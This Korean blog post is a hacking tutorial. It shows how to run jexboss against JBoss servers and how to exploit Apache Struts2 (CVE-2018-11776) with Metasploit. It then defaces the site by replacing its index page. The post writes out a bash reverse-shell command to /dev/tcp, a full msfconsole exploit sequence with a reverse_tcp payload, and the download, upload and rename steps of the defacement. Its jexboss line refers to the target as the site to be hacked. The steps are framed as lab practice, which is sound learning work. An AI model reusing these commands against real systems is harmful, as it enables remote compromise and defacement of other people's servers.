본문 바로가기
3. 웹 애플리케이션 취약점 진단

jexboss 취약점 분석 도구와 apache struts2, 디페이스 공격(웹페이지 변경)

by Robert8478 2023. 12. 27.

https://github.com/joaomatosf/jexboss.git

 

GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool - GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitati...

github.com

[jexboss]
취약점을 찾아내는 도구인 jexboss를 설치해줍니다. (git clone)

jexboss는 설치 후
> ./jexboss.py -u [해킹할 사이트 주소]  명령어를 쳐주면 취약점을 찾아내며 다른 옵션을 보려면 -h 옵션을 줍니다.
만약 취약점이 있다면 yes로 shell 세션을 획득할 수 있습니다.

우선 핸들러를 틀어줍니다.
그 후 shell 세션에서 나온 리버스 쉘 명령어를 shell에 넣어줍니다
>/bin/bash -i > /dev/tcp/192.168.0.1/4444 0>&1 2>&1

이를 통해 jexboss를 이용한 해킹이 가능합니다.



[struts2]
예전 중국 해커가 사용한 취약점입니다.
https://www.exploit-db.com/exploits/45262

 

Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2)

Apache Struts 2.3 < 2.3.34 / 2.5 < 2.5.16 - Remote Code Execution (2) EDB-ID: 45262 CVE: 2018-11776 Date: 2018-08-25

www.exploit-db.com

익스플로잇디비에 자세한 정보가 나와있으며,
http 헤더에 있는 content-type 부분에 악성코드를 삽입하는 형태입니다.
struts2는 struts2에 취약한 모의해킹 사이트가 있어야 실습 가능합니다.

https://archive.apache.org/dist/struts/2.3.20/

 

Index of /dist/struts/2.3.20

 

archive.apache.org

설치하여 서버로 돌려줍니다.
우선 핸들러를 틀어줍니다. payload는 linux/x86/shell/reverse_tcp로 맞춰줍니다.
그 후 칼리에서 msfconsole을 틀고

>use exploit/multi/http/struts_code_exec_jakarta
>show options
>set payload linux/x86/shell/reverse_tcp
>set rhost [struts서버 아이피]
>set lhost [칼리 아이피]
>set targeturi /struts2.3.20/
>exploit

세션이 확립되면 디페이싱을 해줍니다.
디페이스는 웹페이지를 가져와서 수정한 후 강제로 업로드시키는것입니다.

>sessions -i 1
>download /root/workspace/struts2.3.20/WebContent/token/index.html /root  - 토큰의 인덱스페이지를 칼리 루트폴더에 넣습니다. 그 후 해당 인덱스페이지를 수정해주고 index 이름을 index1 등 다른 이름으로 변경합니다.
>cd /root/workspace/struts2.3.20/WebContent/token/
>upload /root/index1.html . - cd를 token으로 했으므로 . 으로 현재 폴더에 넣어줍니다.
그 후 기존 인덱스 파일 명을 변경 후 index1 넣어줬던 파일 명을 index로 변경합니다.

>mv index.html index2.html
>mv index1.html index.html